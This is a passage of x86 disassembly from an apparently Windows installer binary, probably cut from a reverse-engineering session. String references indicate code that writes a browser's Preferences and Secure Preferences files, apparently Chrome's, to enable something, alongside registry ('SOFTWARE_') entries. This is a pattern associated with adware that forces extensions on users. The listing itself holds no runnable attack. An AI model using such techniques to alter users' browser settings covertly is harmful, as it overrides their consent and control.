mov byte [ebp - 4], 0x15
call fcn.0044f795
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x14
call fcn.0044f795
lea ecx, [ebp - 0x14c]
call fcn.00401c95
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x12
call fcn.004643a5
lea ecx, [ebp - 0x4c]
call fcn.00401056
mov al, 1
jmp 0x4587bf
lea eax, [ebp - 0x3e4]
push eax
push esi
call fcn.00408954
pop ecx
pop ecx
test al, al
jne 0x4581fd
push str.write_to_preferences_for_enable
lea ecx, [ebp - 0x3a8]
call fcn.00401855
mov byte [ebp - 4], 0x52
lea eax, [ebp - 0x3a8]
push eax
mov ecx, edi
call fcn.00405c09
mov ecx, dword [ebp - 0x3a8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3e0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3e4]
jmp 0x458653
cmp byte [ebp - 0x39e], 0
je 0x458354
lea eax, [ebp - 0x3e0]
push eax
push dword [ebp - 0x3dc]
call fcn.00408954
pop ecx
pop ecx
test al, al
jne 0x458354
push str.write_to_secure_preferences_for_enable
lea ecx, [ebp - 0x3a8]
call fcn.00401855
mov byte [ebp - 4], 0x5a
jmp 0x45848b
mov ecx, dword [ebp - 0x3ac]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b4]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov bl, 1
jmp 0x45865b
push str.invalid_preferences_to_enable
lea ecx, [ebp - 0x3a8]
call fcn.00401855
lea eax, [ebp - 0x3a8]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x30
call fcn.00405c09
mov ecx, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0x18
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov esi, dword [ebp - 0x3d4]
lea eax, [ebp - 0x3a4]
push eax
push dword [esi]
mov dword [ebp - 0x3a4], ebx
call fcn.004081e5
cmp dword [ebp - 0x3a4], 0
pop ecx
pop ecx
je 0x45863f
push str.InstEnd
lea ecx, [ebp - 0x3c0]
call fcn.00401814
push str.invalid_ch_prefs_to_enable_file
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x31
call fcn.00401814
push str.SOFTWARE_
lea ecx, [ebp - 0x3bc]
mov byte [ebp - 4], 0x32
call fcn.00401814
lea ecx, [edi + 0x1c]
push ecx
push eax
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0x33
call fcn.00401dfb
lea ecx, [ebp - 0x3c0]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 0x34
call fcn.00401dfb
push dword [0x52c1d8]
mov byte [ebp - 4], 0x35
push eax
lea eax, [ebp - 0x3a8]
push esi
push eax
call fcn.004134ab
mov ecx, dword [ebp - 0x18]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3bc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3a8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3c0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3ac]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b4]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
lea ecx, [ebp - 0x410]
mov byte [ebp - 4], 0x15
call fcn.0044f795
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x14
call fcn.0044f795
lea ecx, [ebp - 0x14c]
call fcn.00401c95
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x12
call fcn.004643a5
lea ecx, [ebp - 0x4c]
call fcn.00401056
mov al, bl
jmp 0x4587bf
push 0x4f1794
lea ecx, [ebp - 0x3a8]
call fcn.00401814
push 0x4f1798
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 4], 0x1d
call fcn.00401855
mov ecx, dword [ebp - 0x3b4]
mov byte [ebp - 4], 0x1e
push dword [ecx - 0xc]
push eax
lea eax, [ebp - 0x3bc]
push eax
call fcn.0044cf22
lea ecx, [ebp - 0x3a8]
push ecx
push eax
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0x1f
call fcn.0044ced3
mov ecx, dword [ebp - 0x3ac]
mov byte [ebp - 4], 0x20
push dword [ecx - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0044cf22
add esp, 0x24
push eax
mov ecx, edi
mov byte [ebp - 4], 0x21
call fcn.00405c09
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3bc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3a8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3ac]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov eax, dword [ebp - 0x3b4]
lea ecx, [eax - 0x10]
call fcn.00404c8b
lea ecx, [ebp - 0x410]
mov byte [ebp - 4], 0x15
call fcn.0044f795
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x14
call fcn.0044f795
lea ecx, [ebp - 0x14c]
call fcn.00401c95
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x12
call fcn.004643a5
lea ecx, [ebp - 0x4c]
call fcn.00401056
xor al, al
call fcn.004bb7d1
ret 0x18